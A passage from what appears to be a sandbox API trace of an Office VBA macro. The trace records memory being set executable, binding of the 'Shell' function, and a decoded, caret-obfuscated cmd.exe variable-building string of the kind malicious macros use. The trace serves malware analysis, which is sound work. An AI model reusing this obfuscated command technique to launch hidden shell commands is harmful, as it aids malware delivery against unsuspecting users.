lpMsg=0x23d9b0) returned 0 [0095.059] GetActiveWindow () returned 0x202ca [0095.060] IMalloc:Alloc (This=0x7feffc15380, cb=0x810) returned 0xbdaced0 [0095.060] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x30) returned 0xb4c7790 [0095.060] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc3e0000 [0095.063] IMalloc:Alloc (This=0x7feffc15380, cb=0xc0) returned 0xbcd77d0 [0095.063] IMalloc:GetSize (This=0x7feffc15380, pv=0xbcd77d0) returned 0xc0 [0095.063] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x200) returned 0xb85c7d0 [0095.063] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0xb880530 [0095.063] IMalloc:GetSize (This=0x7feffc15380, pv=0xb880530) returned 0x26d [0095.063] GetCurrentProcess () returned 0xffffffffffffffff [0095.063] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb880530, dwSize=0x44) returned 1 [0095.063] IMalloc:Free (This=0x7feffc15380, pv=0xb880530) [0095.063] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x412) returned 0xbeaebb0 [0095.064] IMalloc:Alloc (This=0x7feffc15380, cb=0x318) returned 0x7076ec0 [0095.064] IMalloc:Realloc (This=0x7feffc15380, pv=0xbdaced0, cb=0x78) returned 0xbdaced0 [0095.064] IMalloc:Free (This=0x7feffc15380, pv=0xbe54030) [0095.064] GetCurrentProcess () returned 0xffffffffffffffff [0095.064] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688841, dwSize=0x8) returned 1 [0095.064] GetCurrentProcess () returned 0xffffffffffffffff [0095.064] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688840, dwSize=0x8) returned 1 [0095.064] GetCurrentProcess () returned 0xffffffffffffffff [0095.064] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x4d7d809, dwSize=0x8) returned 1 [0095.064] GetCurrentProcess () returned 0xffffffffffffffff [0095.064] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x4d7d808, dwSize=0x8) returned 1 [0095.064] GetCurrentProcess () returned 0xffffffffffffffff [0095.064] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x4d7d818, dwSize=0x2) returned 1 [0095.064] GetCurrentProcess () returned 0xffffffffffffffff [0095.064] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x4d7d86c, dwSize=0x45) returned 1 [0095.064] VirtualProtect (in: lpAddress=0x4d7d86c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x23c36c | out: lpflOldProtect=0x23c36c*=0x40) returned 1 [0095.064] GetCurrentProcess () returned 0xffffffffffffffff [0095.064] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688841, dwSize=0x8) returned 1 [0095.064] GetCurrentProcess () returned 0xffffffffffffffff [0095.064] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688840, dwSize=0x8) returned 1 [0095.064] GetCurrentProcess () returned 0xffffffffffffffff [0095.064] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688850, dwSize=0x2) returned 1 [0095.065] GetCurrentProcess () returned 0xffffffffffffffff [0095.065] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6888a4, dwSize=0x45) returned 1 [0095.065] VirtualProtect (in: lpAddress=0xb6888a4, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x23c36c | out: lpflOldProtect=0x23c36c*=0x40) returned 1 [0095.065] GetCurrentProcess () returned 0xffffffffffffffff [0095.065] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb68892c, dwSize=0x45) returned 1 [0095.065] VirtualProtect (in: lpAddress=0xb68892c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x23c36c | out: lpflOldProtect=0x23c36c*=0x40) returned 1 [0095.065] GetCurrentProcess () returned 0xffffffffffffffff [0095.065] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6889a9, dwSize=0x8) returned 1 [0095.065] GetCurrentProcess () returned 0xffffffffffffffff [0095.065] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6889a8, dwSize=0x8) returned 1 [0095.065] GetCurrentProcess () returned 0xffffffffffffffff [0095.065] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6889b8, dwSize=0x2) returned 1 [0095.065] GetCurrentProcess () returned 0xffffffffffffffff [0095.065] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687a6c, dwSize=0x4d) returned 1 [0095.065] VirtualProtect (in: lpAddress=0xb687a6c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23c36c | out: lpflOldProtect=0x23c36c*=0x40) returned 1 [0095.065] GetCurrentProcess () returned 0xffffffffffffffff [0095.065] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687af1, dwSize=0x8) returned 1 [0095.065] GetCurrentProcess () returned 0xffffffffffffffff [0095.065] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687af0, dwSize=0x8) returned 1 [0095.065] GetCurrentProcess () returned 0xffffffffffffffff [0095.065] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687b00, dwSize=0x2) returned 1 [0095.065] GetCurrentProcess () returned 0xffffffffffffffff [0095.065] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687b54, dwSize=0x45) returned 1 [0095.065] VirtualProtect (in: lpAddress=0xb687b54, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x23c36c | out: lpflOldProtect=0x23c36c*=0x40) returned 1 [0095.065] GetCurrentProcess () returned 0xffffffffffffffff [0095.065] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687bd1, dwSize=0x8) returned 1 [0095.065] GetCurrentProcess () returned 0xffffffffffffffff [0095.066] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687bd0, dwSize=0x8) returned 1 [0095.066] GetCurrentProcess () returned 0xffffffffffffffff [0095.066] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687be0, dwSize=0x2) returned 1 [0095.066] GetCurrentProcess () returned 0xffffffffffffffff [0095.066] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687f0c, dwSize=0x4d) returned 1 [0095.066] VirtualProtect (in: lpAddress=0xb687f0c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23c36c | out: lpflOldProtect=0x23c36c*=0x40) returned 1 [0095.066] GetCurrentProcess () returned 0xffffffffffffffff [0095.066] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687f91, dwSize=0x8) returned 1 [0095.066] GetCurrentProcess () returned 0xffffffffffffffff [0095.066] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687f90, dwSize=0x8) returned 1 [0095.066] GetCurrentProcess () returned 0xffffffffffffffff [0095.066] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687fa0, dwSize=0x2) returned 1 [0095.066] GetCurrentProcess () returned 0xffffffffffffffff [0095.066] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687ff4, dwSize=0x4d) returned 1 [0095.066] VirtualProtect (in: lpAddress=0xb687ff4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23c36c | out: lpflOldProtect=0x23c36c*=0x40) returned 1 [0095.066] GetCurrentProcess () returned 0xffffffffffffffff [0095.066] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688079, dwSize=0x8) returned 1 [0095.066] GetCurrentProcess () returned 0xffffffffffffffff [0095.066] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688078, dwSize=0x8) returned 1 [0095.066] GetCurrentProcess () returned 0xffffffffffffffff [0095.066] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688088, dwSize=0x2) returned 1 [0095.066] GetCurrentProcess () returned 0xffffffffffffffff [0095.066] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687cbc, dwSize=0x4d) returned 1 [0095.066] VirtualProtect (in: lpAddress=0xb687cbc, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23c36c | out: lpflOldProtect=0x23c36c*=0x40) returned 1 [0095.066] GetCurrentProcess () returned 0xffffffffffffffff [0095.066] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687d41, dwSize=0x8) returned 1 [0095.066] GetCurrentProcess () returned 0xffffffffffffffff [0095.066] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687d40, dwSize=0x8) returned 1 [0095.066] GetCurrentProcess () returned 0xffffffffffffffff [0095.067] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687d50, dwSize=0x2) returned 1 [0095.067] GetCurrentProcess () returned 0xffffffffffffffff [0095.067] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687da4, dwSize=0x4d) returned 1 [0095.067] VirtualProtect (in: lpAddress=0xb687da4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23c36c | out: lpflOldProtect=0x23c36c*=0x40) returned 1 [0095.067] GetCurrentProcess () returned 0xffffffffffffffff [0095.067] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687e29, dwSize=0x8) returned 1 [0095.067] GetCurrentProcess () returned 0xffffffffffffffff [0095.067] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687e28, dwSize=0x8) returned 1 [0095.067] GetCurrentProcess () returned 0xffffffffffffffff [0095.067] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687e38, dwSize=0x2) returned 1 [0095.067] GetCurrentProcess () returned 0xffffffffffffffff [0095.067] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688cec, dwSize=0x4d) returned 1 [0095.067] VirtualProtect (in: lpAddress=0xb688cec, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23c36c | out: lpflOldProtect=0x23c36c*=0x40) returned 1 [0095.067] GetCurrentProcess () returned 0xffffffffffffffff [0095.067] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688d71, dwSize=0x8) returned 1 [0095.067] GetCurrentProcess () returned 0xffffffffffffffff [0095.067] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688d70, dwSize=0x8) returned 1 [0095.067] GetCurrentProcess () returned 0xffffffffffffffff [0095.067] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688d80, dwSize=0x2) returned 1 [0095.067] GetCurrentProcess () returned 0xffffffffffffffff [0095.067] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688dd4, dwSize=0x4d) returned 1 [0095.067] VirtualProtect (in: lpAddress=0xb688dd4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23c36c | out: lpflOldProtect=0x23c36c*=0x40) returned 1 [0095.067] GetCurrentProcess () returned 0xffffffffffffffff [0095.067] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688e59, dwSize=0x8) returned 1 [0095.067] GetCurrentProcess () returned 0xffffffffffffffff [0095.067] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688e58, dwSize=0x8) returned 1 [0095.067] GetCurrentProcess () returned 0xffffffffffffffff [0095.067] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688e68, dwSize=0x2) returned 1 [0095.067] GetCurrentProcess () returned 0xffffffffffffffff [0095.067] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb68815c, dwSize=0x4d) returned 1 [0095.068] VirtualProtect (in: lpAddress=0xb68815c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23c36c | out: lpflOldProtect=0x23c36c*=0x40) returned 1 [0095.068] GetCurrentProcess () returned 0xffffffffffffffff [0095.068] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6881e1, dwSize=0x8) returned 1 [0095.068] GetCurrentProcess () returned 0xffffffffffffffff [0095.068] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6881e0, dwSize=0x8) returned 1 [0095.068] GetCurrentProcess () returned 0xffffffffffffffff [0095.068] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb6881f0, dwSize=0x2) returned 1 [0095.068] GetCurrentProcess () returned 0xffffffffffffffff [0095.068] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb688244, dwSize=0x4d) returned 1 [0095.068] VirtualProtect (in: lpAddress=0xb688244, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x23c36c | out: lpflOldProtect=0x23c36c*=0x40) returned 1 [0095.068] GetCurrentProcess () returned 0xffffffffffffffff [0095.068] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb687274, dwSize=0x44) returned 1 [0095.068] RtlLookupFunctionEntry (in: ControlPc=0xb687274, ImageBase=0x23c258, HistoryTable=0x23c260 | out: ImageBase=0x23c258, HistoryTable=0x23c260) returned 0x0 [0095.068] VirtualProtect (in: lpAddress=0xb687274, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x23c35c | out: lpflOldProtect=0x23c35c*=0x40) returned 1 [0095.068] RtlAddFunctionTable (FunctionTable=0xb6872c8, EntryCount=0x1, BaseAddress=0xb687200, TargetGp=0x23c35c) returned 1 [0095.069] GetAsyncKeyState (vKey=27) returned 0 [0095.069] IMalloc:Alloc (This=0x7feffc15380, cb=0x810) returned 0xbdacf60 [0095.069] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbad9c5c, cbMultiByte=930, lpWideCharStr=0xc3e00dc, cchWideChar=1862 | out: lpWideCharStr="T ^ ^?^$^_=^!^`^}^$^@:^p^BM^=^Q^!) , ) , , )& ( ,,,( , ,, (^s^ET ^ ^ ;^.^+=^!^?^$^_^:^(^=^7^!) ; ; ; ) , )&& (^S^e^t ^ ^ ^-^}=^!^;^.^+^:^a^K^=^=^!)& ( , , (^S^et ^ ^.^;^?=^!^-^}^:^h^e^i^=^j^!) ; ; ; )&& ( ; ; ; ( ; ; (S^e^T ^ ^ ^+^.^@^#=!^.^;^?^:^3^k^9^=^b^!) ,, , ) ,; , ; , ; ,)&& ( ; ; ( (^S^Et ^{^'^`^#=^!^+^.^@^#^:^4^=^w^!) , ) , )& ( , , (^s^E^t ^}^$^]^?=^!^{^'^`^#^:^H^=^4^!) ,, ,)& (^s^e^T ^{^,^.=^!^}^$^]^?^:^a^E^=^G^!)&&(^s^E^T ^ ^ ^ ^}^{=^!^{^,^.^:^1^=^(!)&( ( , (^S^e^T ^.^@^_#=!^}^{^:^T^F^=^h^!) ) ; )& ( (^S^E^t ^ ^ ^]^$^*^{=!^.^@^_^#^:^j^V^=^H^!) ; ; ; )&(^s^eT ^ ^#^-=^!^]^$^*^{^:Dn^=^1^!)&& ( , , ( , , (S^e^T ^.^$^+=^!^#^-^:^t^y^=^P^!) , ) )&&( ; ; ( , , (^s^e^t ^ ^+^,^\\=^!^.^$^+^:^q^vN^=N^!), , , ), ,,, , )& (,; , ;,(^S^e^t ^ ^ ^]^#=^!^+^,^\\^:^[^=^;^!) , )& ( , , ( ; ; (^Se^T ^_^`^@^#=^!^]^#^:^{^=^[^!) ; ; ) , )&(^S^e^t ^ ^ ^[^_=!^") returned 930 [0095.069] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x412) returned 0xbeaf000 [0095.069] IMalloc:Alloc (This=0x7feffc15380, cb=0x788) returned 0xb7df5d0 [0095.069] IMalloc:Alloc (This=0x7feffc15380, cb=0x38) returned 0xb4d0010 [0095.069] IMalloc:Realloc (This=0x7feffc15380, pv=0xbd2e480, cb=0x80) returned 0xbe2ca90 [0095.069] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ca2b46, cbMultiByte=6, lpWideCharStr=0x23bff0, cchWideChar=7 | out: lpWideCharStr="dabsa") returned 6 [0095.069] IMalloc:Realloc (This=0x7feffc15380, pv=0xb61af20, cb=0x100) returned 0xb6ac390 [0095.070] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ca2b46, cbMultiByte=6, lpWideCharStr=0x23c030, cchWideChar=7 | out: lpWideCharStr="dabsa") returned 6 [0095.070] ITypeComp:RemoteBind (in: This=0xb825970, szName="dabsa", lHashVal=0x10d3e7, wFlags=0x5, ppTInfo=0x23bfe8, pDescKind=0x23bffc, ppFuncDesc=0x23c000, ppVarDesc=0xb8cc380, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x23bfe8*=0x0, pDescKind=0x23bffc*=0, ppFuncDesc=0x23c000, ppVarDesc=0xb8cc380, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0095.070] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ca2b46, cbMultiByte=6, lpWideCharStr=0x23c030, cchWideChar=7 | out: lpWideCharStr="dabsa") returned 6 [0095.070] ITypeComp:RemoteBind (in: This=0xb824b60, szName="dabsa", lHashVal=0x10d3e7, wFlags=0x5, ppTInfo=0x23bfe8, pDescKind=0x23bffc, ppFuncDesc=0x23c000, ppVarDesc=0xb8cc380, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x23bfe8*=0x0, pDescKind=0x23bffc*=0, ppFuncDesc=0x23c000, ppVarDesc=0xb8cc380, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0095.070] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ca2b46, cbMultiByte=6, lpWideCharStr=0x23c030, cchWideChar=7 | out: lpWideCharStr="dabsa") returned 6 [0095.070] ITypeComp:RemoteBind (in: This=0xb825f10, szName="dabsa", lHashVal=0x10d3e7, wFlags=0x5, ppTInfo=0x23bfe8, pDescKind=0x23bffc, ppFuncDesc=0x23c000, ppVarDesc=0xb8cc380, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x23bfe8*=0x0, pDescKind=0x23bffc*=0, ppFuncDesc=0x23c000, ppVarDesc=0xb8cc380, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0095.070] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ca2b46, cbMultiByte=6, lpWideCharStr=0x23c030, cchWideChar=7 | out: lpWideCharStr="dabsa") returned 6 [0095.070] ITypeComp:RemoteBind (in: This=0xb8264b0, szName="dabsa", lHashVal=0x10d3e7, wFlags=0x5, ppTInfo=0x23bfe8, pDescKind=0x23bffc, ppFuncDesc=0x23c000, ppVarDesc=0xb8cc380, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x23bfe8*=0x0, pDescKind=0x23bffc*=0, ppFuncDesc=0x23c000, ppVarDesc=0xb8cc380, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0095.070] IMalloc:Alloc (This=0x7feffc15380, cb=0xd) returned 0x71e8f70 [0095.070] _mbscpy_s (in: _Dst=0x71e8f70, _DstSizeInBytes=0x6, _Src=0x6ca2b46 | out: _Dst=0x71e8f70) returned 0x0 [0095.072] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_dabsa") returned 0x1097d4 [0095.072] strcpy_s (in: _Dst=0x23c140, _DstSize=0xd, _Src="_B_var_dabsa" | out: _Dst="_B_var_dabsa") returned 0x0 [0095.072] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x23c140, cbMultiByte=13, lpWideCharStr=0x23bf90, cchWideChar=13 | out: lpWideCharStr="_B_var_dabsa") returned 13 [0095.072] IUnknown:AddRef (This=0xb825960) returned 0x5 [0095.072] ITypeLib:RemoteIsName (in: This=0xb825960, szNameBuf="_B_var_dabsa", lHashVal=0x1097d4, pfName=0x23c060, pBstrLibName=0x23bf90 | out: pfName=0x23c060*=0, pBstrLibName=0x23bf90) returned 0x0 [0095.072] IUnknown:Release (This=0xb825960) returned 0x4 [0095.072] IUnknown:AddRef (This=0xb824b50) returned 0x11 [0095.072] ITypeLib:RemoteIsName (in: This=0xb824b50, szNameBuf="_B_var_dabsa", lHashVal=0x1097d4, pfName=0x23c060, pBstrLibName=0x23bf90 | out: pfName=0x23c060*=0, pBstrLibName=0x23bf90) returned 0x0 [0095.072] IUnknown:Release (This=0xb824b50) returned 0x10 [0095.072] IUnknown:AddRef (This=0xb825f00) returned 0x6 [0095.072] ITypeLib:RemoteIsName (in: This=0xb825f00, szNameBuf="_B_var_dabsa", lHashVal=0x1097d4, pfName=0x23c060, pBstrLibName=0x23bf90 | out: pfName=0x23c060*=0, pBstrLibName=0x23bf90) returned 0x0 [0095.072] IUnknown:Release (This=0xb825f00) returned 0x5 [0095.072] IUnknown:AddRef (This=0xb8264a0) returned 0x4 [0095.072] ITypeLib:RemoteIsName (in: This=0xb8264a0, szNameBuf="_B_var_dabsa", lHashVal=0x1097d4, pfName=0x23c060, pBstrLibName=0x23bf90 | out: pfName=0x23c060*=0, pBstrLibName=0x23bf90) returned 0x0 [0095.072] IUnknown:Release (This=0xb8264a0) returned 0x3 [0095.072] IUnknown:AddRef (This=0xb825960) returned 0x5 [0095.072] IUnknown:Release (This=0xb825960) returned 0x4 [0095.072] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ca2e0a, cbMultiByte=13, lpWideCharStr=0x23bff0, cchWideChar=14 | out: lpWideCharStr="_B_var_dabsa") returned 13 [0095.072] ITypeComp:RemoteBind (in: This=0xb825970, szName="_B_var_dabsa", lHashVal=0x1097d4, wFlags=0x5, ppTInfo=0x23bfa8, pDescKind=0x23bfbc, ppFuncDesc=0x23bfc0, ppVarDesc=0x64005f00720061, ppTypeComp=0x61007300000000, pDummy=0x0 | out: ppTInfo=0x23bfa8*=0x0, pDescKind=0x23bfbc*=0, ppFuncDesc=0x23bfc0, ppVarDesc=0x64005f00720061, ppTypeComp=0x61007300000000, pDummy=0x0) returned 0x0 [0095.073] IMalloc:Realloc (This=0x7feffc15380, pv=0xb6ac390, cb=0x200) returned 0xb85b330 [0095.073] _mbscpy_s (in: _Dst=0x23c1b0, _DstSizeInBytes=0x6, _Src=0x6ca2b46 | out: _Dst=0x23c1b0) returned 0x0 [0095.074] IMalloc:Free (This=0x7feffc15380, pv=0x71e8f70) [0095.074] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0xb880530 [0095.074] IMalloc:GetSize (This=0x7feffc15380, pv=0xb880530) returned 0x26d [0095.074] IMalloc:GetSize (This=0x7feffc15380, pv=0xb880530) returned 0x26d [0095.074] GetCurrentProcess () returned 0xffffffffffffffff [0095.074] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb880530, dwSize=0x4c) returned 1 [0095.074] IMalloc:Free (This=0x7feffc15380, pv=0xb880530) [0095.074] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0xb687330 [0095.075] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0xb880530 [0095.075] IMalloc:GetSize (This=0x7feffc15380, pv=0xb880530) returned 0x26d [0095.075] IMalloc:GetSize (This=0x7feffc15380, pv=0xb880530) returned 0x26d [0095.075] GetCurrentProcess () returned 0xffffffffffffffff [0095.075] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb880530, dwSize=0x4c) returned 1 [0095.075] IMalloc:Free (This=0x7feffc15380, pv=0xb880530) [0095.075] IMalloc:Realloc (This=0x7feffc15380, pv=0xba6e540, cb=0x1000) returned 0x7473e80 [0095.076] IMalloc:Alloc (This=0x7feffc15380, cb=0x390) returned 0xbc2b630 [0095.076] IMalloc:Realloc (This=0x7feffc15380, pv=0xb61ae90, cb=0x100) returned 0xb6ac390 [0095.076] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ca2b6e, cbMultiByte=6, lpWideCharStr=0x23bff0, cchWideChar=7 | out: lpWideCharStr="Shell") returned 6 [0095.076] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ca2b6e, cbMultiByte=6, lpWideCharStr=0x23c030, cchWideChar=7 | out: lpWideCharStr="Shell") returned 6 [0095.076] ITypeComp:RemoteBind (in: This=0xb825970, szName="Shell", lHashVal=0x10d756, wFlags=0x1, ppTInfo=0x23bfe8, pDescKind=0x23bffc, ppFuncDesc=0x23c000, ppVarDesc=0xb8cc380, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x23bfe8*=0xb9f7128, pDescKind=0x23bffc*=1, ppFuncDesc=0x23c000, ppVarDesc=0xb8cc380, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0095.076] ITypeInfo:RemoteGetTypeAttr (in: This=0xb9f7128, ppTypeAttr=0x23bff0, pDummy=0x1 | out: ppTypeAttr=0x23bff0, pDummy=0x1) returned 0x0 [0095.076] ITypeInfo:LocalReleaseTypeAttr (This=0xb9f7128) returned 0x0 [0095.077] ITypeInfo:GetRefTypeInfo (in: This=0xb9f7128, hreftype=0x400, ppTInfo=0x23bd28 | out: ppTInfo=0x23bd28*=0xb9f7180) returned 0x0 [0095.077] IUnknown:QueryInterface (in: This=0xb9f7180, riid=0x7fee6090b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23bef8 | out: ppvObject=0x23bef8*=0x0) returned 0x80004002 [0095.077] ITypeInfo:RemoteGetTypeAttr (in: This=0xb9f7180, ppTypeAttr=0x23bd78, pDummy=0x10 | out: ppTypeAttr=0x23bd78, pDummy=0x10) returned 0x0 [0095.077] ITypeInfo:LocalReleaseTypeAttr (This=0xb9f7180) returned 0x0 [0095.077] IMalloc:Realloc (This=0x7feffc15380, pv=0xb5ea130, cb=0x20) returned 0xb3d5260 [0095.077] IMalloc:Realloc (This=0x7feffc15380, pv=0xbccba30, cb=0x28) returned 0xb3d52f0 [0095.077] IUnknown:QueryInterface (in: This=0xb9f7180, riid=0x7fee6085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23ba80 | out: ppvObject=0x23ba80*=0x0) returned 0x80004002 [0095.077] IUnknown:QueryInterface (in: This=0xb9f7180, riid=0x7fee6090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23ba70 | out: ppvObject=0x23ba70*=0x0) returned 0x80004002 [0095.077] IUnknown:QueryInterface (in: This=0xb9f7180, riid=0x7fee6090b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23ba78 | out: ppvObject=0x23ba78*=0x0) returned 0x80004002 [0095.077] ITypeInfo:RemoteGetTypeAttr (in: This=0xb9f7180, ppTypeAttr=0x23baa8, pDummy=0x10 | out: ppTypeAttr=0x23baa8, pDummy=0x10) returned 0x0 [0095.077] ITypeInfo:LocalReleaseTypeAttr (This=0xb9f7180) returned 0x0 [0095.077] IUnknown:AddRef (This=0xb9f7180) returned 0x2 [0095.077] IUnknown:QueryInterface (in: This=0xb9f7180, riid=0x7fee6090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23bc20 | out: ppvObject=0x23bc20*=0x0) returned 0x80004002 [0095.077] IUnknown:QueryInterface (in: This=0xb9f7180, riid=0x7fee6090b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x23bc18 | out: ppvObject=0x23bc18*=0x0) returned 0x80004002 [0095.077] IUnknown:Release (This=0xb9f7180) returned 0x1 [0095.077] IMalloc:Realloc (This=0x7feffc15380, pv=0xbe2b650, cb=0x100) returned 0xb6adaf0 [0095.077] IUnknown:AddRef (This=0xb9f7180) returned 0x2 [0095.077] IUnknown:Release (This=0xb9f7180) returned 0x1 [0095.077] IUnknown:QueryInterface (in: This=0xb9f7128, riid=0x7fee60840f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x23bd90 | out: ppvObject=0x23bd90*=0xb9f7128) returned 0x0 [0095.077] ITypeInfo2:GetFuncIndexOfMemId (in: This=0xb9f7128, memid=1610612745, invkind=1, pFuncIndex=0x23bd88 | out: pFuncIndex=0x23bd88*=0x9) returned 0x0 [0095.077] 